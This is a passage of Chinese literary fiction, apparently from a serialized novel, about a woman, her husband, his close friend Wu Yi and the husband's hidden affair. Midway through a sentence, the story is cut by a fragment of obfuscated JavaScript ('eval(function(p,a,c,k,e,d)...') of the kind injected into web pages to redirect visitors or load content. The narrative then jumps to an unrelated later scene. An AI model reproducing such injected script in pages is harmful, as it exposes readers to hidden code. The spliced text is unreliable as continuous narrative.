“锦姿是有良心啊!她在哪里都会想着您的。她也没嫁远,以后从市区和她爱人开车过来看您,快得很呢!”伍义把奶奶扶到沙发坐下,笑着说自己先去帮忙,就继续去杨锦姿那边了。 两人没有忙太久,很快整理清点完毕,在奶奶招呼下吃了几块桃,就离开了。奶奶目送了杨锦姿的车驶出院子,也和其他人一样很快进了门。 返程是伍义开车,杨锦姿在副驾驶一副不开心的样子,反复侧头,闭着眼也没睡着。 “刚才累着了?偏头痛吗?梁挥说你之前犯过。最近早自习比较多,没睡好吧?”伍义轻声问。 “嗯,最近睡得不好。工作倒还好,和工作不相干。” “‘婚前综合征’?我周围不少女性朋友结婚前也会有这种情况,慢慢调理,睡眠会好的,不用太急躁。” 杨锦姿睁开眼侧过头看着伍义笑:“我绝不可能有婚前焦虑症,结婚对我来说,就是海里有了很多鱼,有了自由还有了活力。” “那就好,好好调理睡眠就好了。那会你在家又拆了箱东西放回去?有些书是不要吗?” “是相册,从小到大的很多家庭影集,念书时候的纪念册、同学录。”杨锦姿继续侧头闭目歇息。 “这些都不带?” “回忆是最没用的东西,我只往前走。” 伍义帮杨锦姿把一箱箱书搬到新房里,她开车送他回去。到了伍义楼下,两人刚道别,他突然朝前面跑过去。杨锦姿不解,停好车下去,也小跑跟上他。伍义养的八哥“梦梦”跑了三天了——前几天朋友们在他家玩,带了宠物过来,梦梦被一只小黑猫抓伤受了惊,飞了出去,伍义找了好几天。这会刚和杨锦姿道别,就看到梦梦在隔壁楼下的一辆电动车把手上停着。 杨锦姿穿着细高跟,陪伍义跑了一下午,两人来回追着抓梦梦。梦梦也不飞远,就是这几栋楼来回飞,不是停在谁家汽车车顶,就是飞到楼下电动车的外卖箱上。杨锦姿穿着紫色无袖的裙子,跑着跑着又累又热,把白色开衫脱下来丢车里。她觉得自己像一颗中暑脱水的茄子,想到这里无奈地笑了:我一定要抓住这只黑心的鸟! 伍义额头挂满汗,想着这样追不是个办法,让杨锦姿歇一会儿,自己去停车篷取了电动车。骑电动车追梦梦,比两条腿跑轻松许多。后来两人配合前后夹击,梦梦飞着跌到杨锦姿那边,她一把薅住,紧紧捂在怀里。 把梦梦安置好,伍义给杨锦姿拿了瓶冰水,自己坐在她旁边一口气灌了整瓶水。 “梦梦可怜咯,这几天在外面受了惊,估计饿得不行。”杨锦姿看着他。 “伤口处理了,水和粮添了。这小子这几天让我好找,急死了。”伍义松了口气,拧上瓶盖,有点不解地看着杨锦姿,似乎在问她为什么一直看着自己,“嗯?” “嗯?嗯什么?你不去开冷气吗?还是,你喜欢看女孩子流汗?”杨锦姿嘴角有一丝自己都没察觉的窃笑,不过很快这个笑就像她的人一样淡,淡得像海里的一滴泪,“不过还是多谢你,梦梦都没找到,还赶过去帮我搬东西。” 伍义先给抽了纸巾递给她,接着去开冷气。待他又坐到她旁边,她说:“今天抓住梦梦真不容易,你还蛮有耐心的。我热得几次想放弃,感觉自己像一只中毒的茄子。” “裙子很漂亮,紫色很衬你,不像茄子,像那张《一切也愿意》紫胶唱片的封面。”他起身去给窗边那盆乌桕树盆栽浇水。 杨锦姿停下擦汗的手,看向他窗边的影子。她知道梁挥喜欢“雾中情人”——黄栌树,新家阳台有一盆,他养护很仔细。她知道他喜欢观黄栌如雾的柔软花团,那乌桕树呢?有什么好看的? “你种了乌桕树?” “嗯,秋冬观叶好看,运气好能同时看到绿色、橘金色。” “也没有很特别,就两个颜色嘛!” “还有红紫色……” 窗外纷起飘风雨,这雨来得太突然,它不急,细细密密。 伍义去阳台看了眼,朝外伸出手掌,马上进来关上窗,拉紧窗帘后又慌忙打开一半,转身看着杨锦姿:“你们婚纱照好了吧?选出来了?” 茶几上的绿底渐变到瓶口变咖色的玻璃长颈细瓶里,插着一枝浓紫发黑的剑兰,一串都开好了,只有顶上还剩三个尖尖的花苞。花朵遮住了杨锦姿的半边脸,伍义看不清她的眼睛。 “上周选好的。店里一个劲向梁挥推销说不褪色的相片套餐,说可以保色几十年,搞得我做不了主似的。还保色几十年,有什么用呢?人世间的感情都不知道能保色多久,何必执着相片里的脸色。我没要那个套餐。” 外面雨下大了,天上打闪伴着哼雷。 “老伍,你和梁挥是高中同学,你们怎么做成朋友的?” 一声炸雷响过,伍义拉开窗边书桌前的椅子,朝向杨锦姿的方向坐下,能清楚地看着她:“学校的理科实验班就两个,他是高一下学期转来我们班的,我们班是普通班。他姨妈托人把他塞进来的,副校长是他姨妈大学同学。也许是这样,班主任特别看不上他。好在他比较安分,老师也没怎么为难他,就是说话难听点,譬如‘你们考进来的人要争点气,不努力怎么和人家有关系的比,和别人比家庭条件、比有个好爹吗?有些人啊,不要以为家里有关系进来就能混日子,以后出了社会照妖镜一照,人还是人,鬼注定是鬼’。” “这还不是为难啊?这么看不上,有本事找副校长去,不敢找就对学生撒气呗!真家里有权势的他也不敢惹,估计就拿梁挥这种不太‘硬’的关系户出气贬损,来显示自己清高了!”杨锦姿笑出声来,觉得梁挥挺倒霉的。 伍义侧过头望向窗外:“每学期有贫困生申请,每个班名额有限。别的班都是同学写了申请交给班主任,老师选出来就好,我们班主任他让我们写了稿子上去念,同学投票选出谁最值得这个名额。那天好几个女同学上去念完后,忍不住哭了,台下也没有声音,我想同学们都心情复杂。到我了,我说‘我家庭的确困难,和其他几位同学有相同也有不同的困难,情况就是这样的。我不想在台上说我家到底有多么具体的困难和辛苦,也不想说我有多可怜,我家就是很困难’。我理解前几位同学为什么会哭,绝不是自怜,如果我照我写的申请书念,我想我也会哭。” 杨锦姿很震惊:“你们班主任完全是个混蛋!什么自以为是的烂人,还以为自己清高,太恶心了!” “班主任有点生气,因为我后面还有几位同学没上台,他说‘你这样扭扭捏捏是怎么回事?你现在需要申请就拿出态度来,你这种畏缩的样子,以后出了社会拿什么和条件好的人竞争?你不念就相当于放弃了’。”伍义没有表情,继续说,“梁挥站起来了,他鼓着掌说‘伍义说得好,人都是有自尊心的,别人家庭的不幸不需要我们来评判够不够不幸,这也不应该由别人评判。拉着大家比惨等于把别人的伤疤揭开,再次伤害已经受了很多苦的人,非常无耻。把人当人看,不要践踏别人的尊严,也把自己当个人,不要以为自己是上帝。不把别人当人看的人,最没有资格评判别人值不值得被帮助,受苦受难的人就是需要大家力所能及的帮助和支持才能渡过难关,不需要证明自己到底够不够苦。往别人伤口上撒盐非常无耻!’” “后来呢?梁挥被针对了吗?” “那天下雨,梁挥被罚跑操,他不服,班主任动了手,他还了手。后来他姨妈来学校了。但是老师也有些理亏,这事就这样过去了。我和他是这之后成为朋友的,他比我勇敢,我只是个敏感的利己主义者。”伍义回过头来看着杨锦姿。 杨锦姿看着他说:“也许你只是敏锐的人,那个老师是个粗糙的自以为是者。” “我人生的好多重要时刻都是下雨天:我出生那天是那年旱季的第一场雨、我妈终于摆脱我爸那个窒息的家庭外出务工也是雨天、我考到这边的重点高中进校报道那天、梁挥帮我出头那天也是,还有今天你和我找到陪了我六年的梦梦。”伍义抬眼看着杨锦姿的眼睛。 伍义请杨锦姿在附近商场吃晚饭,饭后伍义执意要杨锦姿去看鞋子——他很不好意思,本是梁挥托他帮她搬东西,结果是她帮他抓八哥忙了一下午。伍义看的那双复古暗紫色的羊皮矮高跟鞋,鞋型流畅,脚背部分的镂空编织很精巧,交叉绑带要从脚踝后面绕到前面再系起。店员帮杨锦姿系时,发现她右手中指侧的小伤口,表达关心后便对伍义说:“麻烦您帮您女朋友系一下吧,我去给她拿个创可贴。” 伍义的戴着手表的左手绕过杨锦姿的右脚后跟,双手轻轻给她系好带子,她的肤色很白,脚背的血管很美。 “杨姿,辛苦了,本来是梁挥托我帮你,结果你帮我抓梦梦跑了那么久。脚受累了,手上是被梦梦啄了一下吧?我都没发现。” “是啊,梦梦太坏了。这家伙几天不回家,自己挨饿也害你在家挂记。”杨锦姿笑着。 买好鞋子,两人道别各自回住处。杨锦姿到家后,把原本穿的那双鞋从盒子里拿出来,放进鞋柜——是梁挥送给她的浅银色,缀着一圈同色系小花高跟鞋。她走到镜子前,又看了看脚上的这双鞋:鞋跟不高,很舒适,是紫色,她喜欢紫色。她想,梁挥也许也会喜欢她穿这双鞋子,或许不会,他好像更喜欢柔和的、迷雾一样的东西,就像他种的那盆黄栌。不过想来也无所谓,管他喜欢不喜欢,现在她蛮喜欢的。 说起来,这两年梁挥抽不开身时,都是伍义帮她忙,她很感激伍义的友好和义气。结婚那天,杨树奇根据杨锦姿喜好,做了紫色系的伴郎胸花和伴娘手腕花。伍义的胸花是一朵深紫色剑兰,配紫桔梗,搭着小刺芹和小小的各色乌桕树叶。 杨树奇给杨锦姿整理手捧花时,和她聊起来:“我听你奶奶对你姑妈讲,要把那个高个子伴郎介绍给你什么表妹来着。” “我知道了,她们说的是伍义,之前他帮我搬书去过城郊的家里。不过应该不需要她们介绍了,伍义几时缺过女朋友?他漂亮又讨人喜欢,身边没有断过吧!” “说起来,每次梁挥没空,周五都是他陪你来店里挑花,人蛮好的。你还记得那次下大雨吗?”杨树奇回忆起什么,笑了。 杨锦姿听到后笑出声来。那天梁挥送她到店里没多久,有急事先走了。她后来买好了紫桔梗,留下来和杨树奇聊了会儿天,结果下大雨了。指望梁挥赶过来是不可能了,她准备打车走,结果见伍义提着咖啡从隔壁店里出来,她赶紧招呼他过来。他见她已经买好了花,就返回隔壁咖啡店给她买了咖啡和点心,还和她说是“将将好,不会甜”的点心——他知道她其实不爱甜食。他们在店外遮雨棚说着话,咖啡店外的那棵印度淡妆月季开得正好,淡粉色的花朵垂着头,在门头灯光下像粉蝴蝶要扑到地上雨水里,再晕开。一对中年夫妻的小狗跳上了门口杨树奇停在她和伍义身旁的电动车上,看着他俩,仿佛要跟他们回家,他俩笑着看小狗。躲雨的中年夫妻笑出声,妻子对丈夫说:“你还说我们家的狗子要几聪明有几聪明,这跳上了别人的电动车,给自己找了新的‘爸妈’,想跟别人回家咧!”丈夫望着杨锦姿和伍义笑,又对妻子说:“我们家狗子怎么不聪明?人家一跳就跳上了长得面善、郎才女貌的人家车上,找新主人都晓得找有福气人家。”说罢牵引绳子抱下狗子。 杨锦姿问伍义:“你在这边还有事吗?”伍义回:“要等人呢,估计他还要一会才过来。”杨锦姿也说不出为什么,突然不想打车了,脑子里一个想法就像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杨锦姿翻了个身,迷迷糊糊从书房沙发上起来,屋子里黑得像她是只猫儿钻进了灶洞。她拖鞋都没跶上,赶紧去拉窗帘,外面也是黑的——原来自己睡了这么久。打开灯,杨锦姿没回过神,靠在丝绒窗帘上,暗紫色的帘子上的银丝闪着眼。她想着今天是周六没错,那梁挥怎么还没从他父母那边过来?她去书架那边翻了翻,梁挥把他收的唱片都整理得很好。她拿起那张唱片,封面是三朵浓郁深紫色调的芍药,她用中指触着那花瓣,就像是真有人献给她紫色的芍药一样。她喜欢封面这隐秘浪漫、似有暗语的感觉。 梁挥回来了,他带了些熟食。进门见家里黑洞洞一片,以为杨锦姿不在,又见书房有微光从门底缝钻出来,敲了两下便进去了。 唱片机在放歌,声音调得偏小。 “点起火一堆 月夜没有睡 静静在深夜 洒过丝丝雨水 我怕会失去 你说不要睡 分秒愿可共对 ……” 杨锦姿站在唱片机前没动,看了眼梁挥:“你回来了?” “我以为你在你爸那边吃饭呢!又怕你没吃,带了些东西,你出去吃点吧。” “你几时见我自己去那边还留着吃过饭?卢姨给了不少蔬果,应该是奶奶他们自己种的,桌上那些礼盒也是他们给的,估计是别人送的吧!我爸专门塞了两条烟,说是给你的。他真是有病,一边催我生孩子,一边要我给你烟,你都戒了多久了!”杨锦姿双手撑在桌子上,右膝盖屈着,很放松地继续听着歌。 梁挥抿着嘴咬了下上唇,靠着门沿,过了一会抬头看着杨锦姿说:“我买了紫绣球,老是买紫桔梗怕你腻了。要么先去吃点东西?” “嗯。那这边麻烦你收拾一下啦。” 梁挥去沙发那边叠起紫红色的薄毯子。杨锦姿出去后又折返到门边,朝着他那边说道:“马上七夕了,我送你一块手表好了。” “怎么突然想到送手表?别送个紫色表盘的吧?”梁挥折着毯子笑道。 “这不是不知道送什么嘛。我想起来那年你让伍义帮我搬书那次,他戴的手表蛮好看的。你们爱好什么的都差不多,种植物啊,听歌啊,我想也许你会喜欢呢。” “噢哦,那次啊,他说你还帮他抓八哥累了你一下午,怪不好意思的,后来就送了你一双适脚的鞋。他那年戴的手表应该是他前前前女友送的。这家伙又换新女友了,我看这次他是会结婚的。从来都是女孩来追他,他是享受被爱的感觉,只接收主动对自己表达好感那类人的信号。我都不知道他自己喜欢什么人,自己主动去爱谁。我不喜欢他那块表,那是他之前女朋友的审美。你不用送我什么了,多给你自己花。” 透过桌上唱片封面和唱片机,可以看到杨锦姿散了一边的头发,她重新把头发拢了拢夹起来:“他爱你呀,对你充满友情,主动和你交朋友。你们都多少年了!”梁挥见她这样开玩笑,也笑起来。她不再说什么,出去了。 梁挥走到桌边,把唱片收好。唱片封面是“SHIRLEY KWAN一切也願意”。 两周后的周五,梁挥提前回来了,杨锦姿晚上进门就见到一桌子菜。 “欸,你怎么回来了?也不发消息说一声。要是我今天晚上去机构那边上课,那你饭可是白做了。”桌上蓝色玻璃刻花瓶子里插着两三只睡莲,杨树奇过去把花头朝向调了调,“你在奇姐那边买的?离你妈那边那么近,你不吃了晚饭回来?” “嗯,树奇姐还让我带了些点心给你。我看是一些豆制品和素点心,她说是她一个妹妹外地探亲带回来的。树奇姐好像初一十五吃素来着,我想她们做生意的人也许信得多。我没去我妈那边,最近我姨妈去得勤。” “奇姐知道我喜欢吃不太甜的。你也真是,什么事也不提前说一下,都是按自己想法来。”杨锦姿坐下,看着梁挥做的那盘糖醋排骨,不情愿地接过他盛的汤。 “伍义明天过来夏口,他说要请我们夫妻吃饭。” 外面下着雨,从通透的落地窗往外看,庭院的羽毛枫很美,树下不远处青苔上古石竹节流水,一簇簇矮生绣球开得闹哄哄的。一楼的小型圆桌包房里,伍义坐着,他抬头看着墙上的那副油画——一个威严又沉静的豹子头。服务人员从花园门口一路给杨锦姿夫妻打伞到大厅,杨锦姿把风衣从胸前包着的东西上拿开,和前厅工作人员交待了些什么,工作人员接引他俩到包间里。伍义主动接过梁挥手里拿着的杨锦姿的深灰色风衣和紫色手包,往角落的黑色的衣帽架上挂,有几滴水珠落在一旁的那盆金边百合竹叶子上。杨锦姿透过落地玻璃朝外扫了几眼,庭院的绣球花群里,有几株橘色花瓣布满黑色斑点卷丹百合垂着头,视线落到房间备餐柜上那盆雕着果和叶的镀银喇叭形花器上,里面组着三株双箭的“小野猫”蝴蝶兰,她更喜欢这白色花瓣底上密密麻麻的紫红色斑点。 服务员给三人分餐换盘,杨锦姿笑着对伍义说:“老伍,这边环境蛮好的,你选得不错啊!”伍义笑起来:“他们家素点心特别好,这边除了在城郊,离你们那边远了点,没有别的缺点。待会我多带几份点心礼盒给你们,你们自己吃或者顺道去你娘家也可以带点给奶奶尝尝。” “对哦,这边离你家近,要么吃了我们到附近商场买点东西,再过去一下。反正伍义也要买不少东西,咱们刚好陪他看看。”梁挥谢过服务员给他换了碟子,转头对杨锦姿说。 “嗯?”杨锦姿看了眼身旁的梁挥,又望向伍义。 伍义有点不好意思地笑笑:“小陈怀孕了,我要结婚了。这次请你们吃饭,就是正式说一下这个事情。每年七夕前我生日,你俩都帮我过,年年给我准备蛋糕,谢谢你们。以后,有小家庭帮我准备了。” “恭喜你啊!浪子终于泊岸,这下妻子孩子都有了。”杨锦姿声音大了起来,真诚祝愿着。服务员分过来一碗松茸面,她靠向椅背动作幅度大了点,手肘差点撞到,坐在对面的伍义慌忙站起来关切地问她要不要紧,梁挥侧头看了眼,让他不用抽纸,说她并没有撞到汤碗。 三人闲聊了一会儿,伍义说备餐柜上那盆蝴蝶兰梁挥应该会喜欢。梁挥看了一眼,只是回“还可以”。 “我看,他更喜欢外面那的卷丹百合吧。”杨锦姿极小口吃着赠送的冰淇淋,她不喜欢这齁甜味。 “卷丹?不都是绣球吗?哦哦,看到了,藏着呢,隐隐约约看得到,杨姿眼神好。”伍义看了眼玻璃窗外,又转过头来看梁挥,“梁挥要是喜欢卷丹,那肯定喜欢那副画了。”他抬起下巴示意梁挥他们背后的墙上。 梁挥回头看了眼那副似乎须发都纤毫毕现的豹子头,转过身喝茶,并不说什么。 杨锦姿提起自己最近长了一点晒斑,笑道再发展下去说不定要像那盆‘小野猫’蝴蝶兰花朵上的斑点了。 “梁挥喜欢一个人啊,就爱她所有,他是对人不对事的,认定了谁就跟被下了降头一样。就算你长满斑,还是很美,梁挥也会和我想法一致吧。”伍义说完,拿起服务员送过来的果盘里的一小块‘黄皮爱娘’西瓜,递给杨锦姿,“杨姿,尝尝这个瓜。这家老板喜欢园艺,有农场,会带一些请人自种的水果来餐厅送给客人吃。这个瓜不错,上次梁挥带了一个到公司来,我分给大家吃了,都说又脆又甜。” “谁知道他怎么想呢?也管不住他怎么想。”杨锦姿接过瓜,看了梁挥一眼,又笑着对伍义说,“上次他妈妈生日,他也带来一个这个瓜到他爸妈那边,那天大家都说这瓜汁水足,他爸说这瓜叫‘黄皮爱娘’——看来是个孝顺瓜,他姨妈说这瓜一听就是东洋品种,这个‘爱娘’怎么也不是爱母亲。” 梁挥不作声,突然起身说餐后水果也吃了,他和服务员一起去外面冰箱把蛋糕取了。 “上次这个瓜说是他同学自己在家种的,给了他几个。也是巧,他那次小事故碰到的刚好是初中的朋友,他转学那么多次,我以为他初中时没朋友呢。”冰淇淋化了,杨锦姿没吃,只是用手柄带着精致蝴蝶结的小勺子划拨着。 “嗯,是蛮巧的。那次他的车子溅了石小姐一身泥,人家的大衣全是泥水,好好的衣服成一团梅干菜了。”伍义继续小口吃着西瓜。 “嗯?”杨锦姿愣住了。 这时,梁挥提着印着海鸟logo的蛋糕盒子进来了,蛋糕盒子一滴水都没沾,那会停好车走那段路并没有被打湿。服务员拆开盒子,点好了蜡烛,和他们一起为伍义唱起生日歌,待伍义许愿吹熄蜡烛,服务员给他们分起蛋糕。 “多谢你们,你俩有心了。本来是我请你们吃饭,你们还顺带提前帮我过了生日。我刚才许愿,希望我们事业和生活都越来越好,大家的家庭也安稳幸福。”伍义很受触动。 “锦姿订的花和蛋糕,她那会拿着蛋糕,要我拿花,我手忙脚乱漏了,待会去车里把那小束紫色剑兰给你带上。”梁挥拍着手,祝福他生日快乐。 离开时,梁挥先去前厅等经理拿两张停车券送他,伍义和杨锦姿在花园等着他。 “这花园好漂亮,据说老板钟情于园艺。以前这边一楼庭院有一株印度淡妆月季长得特别好。我想你们喜欢,才定了一楼包间,没想到一年多没来,说是老板又不喜欢淡色垂头的月季了,换了。”伍义淡淡地说。 “你知道我其实喜欢深色的花。” “嗯,但我晓得你中意印度淡妆。梁挥在复州住的老房子的园子,他说他想种‘红色达芬奇’,耐雨水好养活,你偏要他种印度淡妆。我还说你俩奇了怪了,一般是你喜欢深色他爱浅色的,无缘无故同时被下降头了吧。话说,你都两年没去复州他那边了吧?”伍义盯着杨锦姿。 杨锦姿踱起步子往花园深处去:“你知道的,那件事之后,我就不去他爸妈还有他那边了。不说了吧!” “你喜欢梁挥吗?”伍义还是忍不住问出来。 杨锦姿回过头,直直地看着伍义:“我喜欢我选的生活本身,就像你一样。”他看着她银色的高跟鞋,上面溅了些泥水。 梁挥小跑着出来:“你们怎么站这边?不怕蚊虫啊?林经理有点事,耽搁了一会儿。”说着,他给了张停车券伍义。 “今天真是奇怪,怎么这么冷?风还大。我可是穿少了。”梁挥小声说着。 伍义笑起来:“怎么?要我把外套脱给你?”他指着自己的浅灰色风衣。 “不用不用,你聪明,会留意天气,带了外衣。”梁挥轻轻捶了伍义一下,“锦姿和你都很喜欢的那家‘海潮’书店,每周五晚上有小型书友聚会,大家一起在那边看电影,昨天放的是老片子《卡萨布拉卡》。要是咱们昨天一起吃午饭就好了,可以晚上去那边逛逛。” 三人说着笑着,没多久到了停车场,梁挥和伍义各自开车出去,把停车券核销了。 20. 印度淡妆 雾 夜里,梁挥侧身睡着,杨锦姿看着他的背,她想他睡不着,就像她一样,她也知道他不想说话,就像她也很想假睡可以安静一些。手机响个不停,她不想动,梁挥起身拿给她,她出了房门接完电话,直接躺下侧向一边睡着。 “班里的新老师打来的,说是明天和隔壁班那个新来的小姑娘请我吃午饭呢。” “嗯,那你去嘛。我去我爸妈那边一趟。” 周一周二忙好请好假,在周三清晨,高速公路上,杨锦姿车开得飞快。她要去梁挥复州的住处一趟。 三年前,两边家里都催他们生孩子,她很反感被催促和掌控的感觉,但也应付得来——生孩子本就是她生活计划的一部分,她并不排斥。她想梁挥能比较好地履行做家长的职责,花草植物他都照顾得很细致,孩子他也有能力和耐心照顾好,他也表现出了将来会好好照顾孩子的意愿。 备孕一段时间,没有什么动静。那段时间,杨锦姿感受到了自己父亲无微不至的关心和关注,她觉得好笑:自己一路学业优异、工作顺利,爸爸不怎么在意;打算生个孩子就得到认可啦?他在认可什么? 夫妻二人去医院检查完毕,回家路上车里两人都没说话,是杨锦姿在开车。医生说了问题后建议他们做试管。 在之后梁挥爸爸的生日宴上,又是一轮催问杨锦姿生孩子的话,那天她忍了很久,受不了了看着梁挥:“你要我说吗?” “是我的问题,你们别问了。我们在考虑做试管。”梁挥也不知道怎么面对家里这种氛围。 那顿饭大家吃得都不太开心,席间长辈们倒是一直在说什么“没关系的,现在医学这么发达”“别人谁家说做试管还生了一对双胞胎呢!”“这有什么的,你们好年轻哦!” 杨锦姿觉得好笑,她很想大笑一场,就像路边人家吵架可以大骂一场一样:没关系?什么关系不关系?这和当初卢姨做试管千辛万苦生下小妹,自己奶奶说的“都好,男伢女伢都好!”还有姑妈说的“女孩也好!”有什么区别呢?你们就是觉得有关系嘛!现在,这个紧要的“关系”要我来承受,对吗? 晚上回去,杨锦姿说要和梁挥谈一谈,他们没有吵架。杨锦姿表达了自己绝不会做试管的决心,她知道卢姨为了给自己爸爸生个孩子受了多少罪,做试管对身体的伤痛都是卢姨在承担。她和卢姨不一样,她并没有那么强烈的要小孩或非要小孩不可的意愿,她也不愿意耽误现在平稳的工作和有秩序的生活。 杨锦姿说完这些,见梁挥不言不语,问他:“你不说什么吗?” “我有得选吗?你的身体你做主,你有你的自由意志。我会去和我爸妈说清楚。”梁挥离开房间,去阳台吹了半个晚上的风。杨锦姿也有无名的火气,她去客房睡,把门重重摔了,又反锁。 这之后没多久,伍义拉梁挥离开设计所,一起创业。他们工作室专门做花境设计和施工,做了不少花园项目。杨锦姿和梁挥开始异地,维持着一种微妙的平衡关系。如果说夫妻关系不好,每周的见面和亲密不是假的,他依然体贴;如果说还是和谐,那两人总是聊些日常,似乎都在竭力找话题,怕没有话说,总隔着些什么。各自忙着工作,假期短暂相聚,也有各自的生活空间,没有孩子叨扰和要操心,似乎是不错的生活。 车窗开得很大,风把杨锦姿的头发左右乱吹,她问自己:“你想要什么?” 她想起当初和自己父亲讲不打算要孩子了,父亲问了缘由后斥责她:“为什么放弃做试管,你这点苦都受不了怎么成事?”她简直无法相信,自己会被这样忽视和否定,她不懂凭什么要受这种苦?她第一次发疯般在家里大砸大摔,第一次反抗父亲,第一次狠狠骂他,表达她多年的恨意和不甘:“你自己想生个儿子,年纪大了试管都不行,只能放弃。现在逼我做试管生孩子?我生个孙子也不跟你姓啊!他是你的血脉还是继承人?那我呢?我才是你的继承人!我怎么就不行了?我是人不行还是能力不行?从小到大你操过我什么心?我不如谁了?你精明!真精明!要是堂伯家儿子真有本事,你还真愿意过继过来吧?不对,你自己都是从你没儿子的你姑父手上接手的砖厂赚的第一桶金,你这么精的人怎么会把家里生意给这不亲的人呢!要是姑妈家儿子愿意改姓过来,你愿意的吧!” 那时,姑妈和奶奶都拉着杨锦姿,要她不要再说胡话了;卢姨本来想劝的,后来抱着才七岁的杨锦姿妹妹回了房间;杨阿姨拿着扫帚在墙角,看着这边吵架的情况。杨锦姿觉得自己喉咙痛,她心里好苦,瘫坐在沙发上,把满脸的泪水抹开,耳旁的头发被泪水粘连在一起。 杨爸沉默了很久,只是招呼杨阿姨过来打扫卫生,接着对杨锦姿说了句:“他不行你就换一个人吧,换一个不用让你受试管罪的人。”说罢便回了楼上房间。 杨锦姿看着她爸上楼,开始笑起来,笑着笑着嚎了出来,她哭到发不出声音,两边太阳穴似乎有血管跳动着胀疼发酸。 风越来越大,杨锦姿关上两边车窗,快要到复州了。 杨锦姿先去了老城区梧桐街道那边,吃了沿街店里透油的辣牛肉包子、北方饺子馆的冰棱纹煎饺还有饺子馆隔壁的卤味拼盘,这些都是以前恋爱时他带她来探亲会去的店。中午时分,杨锦姿到了绿色的小楼,她拿出钥匙打开院子铁门,园子里的那棵印度淡妆本应很美,几天雨水过后,垂头的花朵花瓣有些发透,不再娇羞,沉重得像要叩进地里。她呆呆地望着那地上落的混着雨水的叶子和花瓣,吸了口气。钥匙插进锁孔翻动好几下才开好门,她上了二楼。 杨锦姿在二楼房间看到了梁挥的录音设备,他喜欢雨声,应该这几天都在录,他的电脑也放在桌上。她去了书房,在书架那排相册上翻找,找到了他的初中毕业纪念册。她一打开,初中毕业照就夹在那一页,姓石的那位同学:原来他出事故遇到的是位女同学。她翻到相册背面,拍下照片背后的全班同学通讯打印纸,又重新看了一边纪念册上的信息,拍下来。像想起什么来一样,杨锦姿匆忙返回梁挥卧室,她打开他的电脑,密码试了几次,结果是他自己的生日。 梁挥那段时间都联系不上石唯,他也去过她公司园区几次,但他不想影响到她,让她被议论。周三那天中午,他又去园区,在咖啡店见她和陈齐进了对面的韩餐店,他跟着进去赶上他们。 午饭是三人一起的,陈齐刚见到梁挥就感觉氛围不太对,他便要服务员引他们去了二楼包房。梁挥还没说什么,石唯也顾不得陈齐在这边,想着早晚都要说清楚,就向梁挥表示自己和他绝无可能了,让他不要再做这种无耻的事情。她平静地和陈齐简单说了自己这段感情的结束过程。梁挥不作声,表现得很痛苦和愧疚。陈齐笑道:“兄弟,小唯说断了就是彻底断了,她一向都很执着。她没打你,没找我们一班朋友揍你,她对你没执念了。你还是处理好自己的家庭和问题吧,你们不相干了。” 回公司的路上,陈齐让石唯不要想太多,过去的事情就过去了,向前走,不要影响以后的生活:“你往前看,你看这天下雨,水只会往下滴,不会往天上流吧?你没有做什么天打雷劈的事情。放过自己就行,工作上有问题需要帮助随时来找我聊。” 周五梁挥回了父母那边给外婆过生日,杨锦姿打电话让他周六早点回家吃晚饭,她上午有事出去,晚上想和他聊一聊,他答应了。夜里梁挥睡不着,百无聊赖地刷着朋友圈,看到了杨树奇发的周六的布展信息和活动安排,她这年店里的装置展主题是“雾”。他看到杨树奇发的活动准备照片里熟悉的身影,用黄栌花材编织球型装置的人分明是石唯。梁挥懵住了:石唯和树奇姐是朋友?她一直说的在做花艺设计的姐姐是树奇姐?她说每次那个姐姐有大型活动她会去帮忙是说的树奇姐? 梁挥的脑子像陈鸡蛋散了蛋黄一样糊,他再次看了下布展信息,确认了地址离杨树奇店铺不远,他想明天还是再去找石唯一次,他认为他们应该单独好好谈谈,分手一个月来,并没有很好沟通,她总是躲避他。 周六上午,梁挥因为要送姨妈和外婆去高铁站,耽搁了很久。他赶到杨树奇装置展那边时,是中午休息时间,可以自由参观,杨树奇的父母已经吃好饭了,在那边帮忙介绍,他们告诉梁挥,杨树奇和朋友在不远处街道的“啵啵儿鸽院”吃饭。 杨树奇和她店里的花艺师小纪还有石唯忙了一上午,他们在店里点好菜,在等她的其他几个熟客朋友过来。梁挥先来了,和杨树奇打了招呼,杨树奇招呼他坐下,很意外:“锦姿说过来的,你怎么没和她一起,今天她开车吗?这边停车是有点远。”石唯一时搞不清楚关系,疑惑地看着坐在她对面的梁挥。梁挥听完杨树奇的话,显然也愣住了。 这时,杨锦姿到了,看到杨树奇这桌挥起手来,她今天来给杨树奇的小展捧场,心情不错,穿着深紫色无袖丝质连衣裙,肩部和底摆缀了珠绣的几条小小花带,银色高跟鞋在她脚上像轻快的小雀儿,她刚走过来放下包,看到梁挥有些吃惊,并不搭理他。杨树奇给她介绍起小纪和石唯,她刚听完脸色就变了,用不可置信的眼神看着梁挥和杨树奇。 接下来是一片混乱,杨锦姿没想到梁挥如此无视她,她还没找他摊牌,他倒带着人明晃晃地参加共友的活动了。他一直要她冷静听他讲,她受不了这种恶心,直接摊牌什么都说了,她一直是和梁挥争吵,并没有针对石唯,可是她嘲讽完他:“录音里你的呼吸拥抱着她的呼吸,声音拥抱着她的声音,空气都是相爱的!”她就见石唯狠怒的三巴掌刮向他。杨树奇一直劝着他们夫妻俩也停下来了,小纪在旁边一头雾水慌了神,杨树奇的其他几位朋友也到了,同样搞不清楚状况。 石唯提起包离开,路过杨树奇那边郑重地说了一声“对不起,我很抱歉。”梁挥坐下,靠在椅子上双手蒙住脸,朝上叹了口气。 杨树奇下午的展,她完全心不在焉,她也没捋清楚是什么状况,她只知道那三个人好像都很痛苦。 杨锦姿默不作声开着车,想起几年前度蜜月回来,去杨树奇店里给她送了些伴手礼,瞥见墙上挂了一幅丝巾装裱的画。她很讶异:“奇姐,这是你装裱的吗?” “你说墙上的丝巾画?我好朋友的妹妹送的。她跟我学了段时间架构花艺,现在自己又去找感兴趣的老师上课了。她蛮有心的,专门挑了块1987年的丝巾装裱,想着我是那一年的吧。是她喜欢的设计师的作品,她收集了很多这个品牌的丝巾。我好些年前去港城,她托我代购这个设计师记录自己70年代到90年代作品的画册,我没寻到,后来她自己到日本的网站上买到了。”杨树奇说着,又去了隔壁咖啡店给杨锦姿买咖啡和点心。 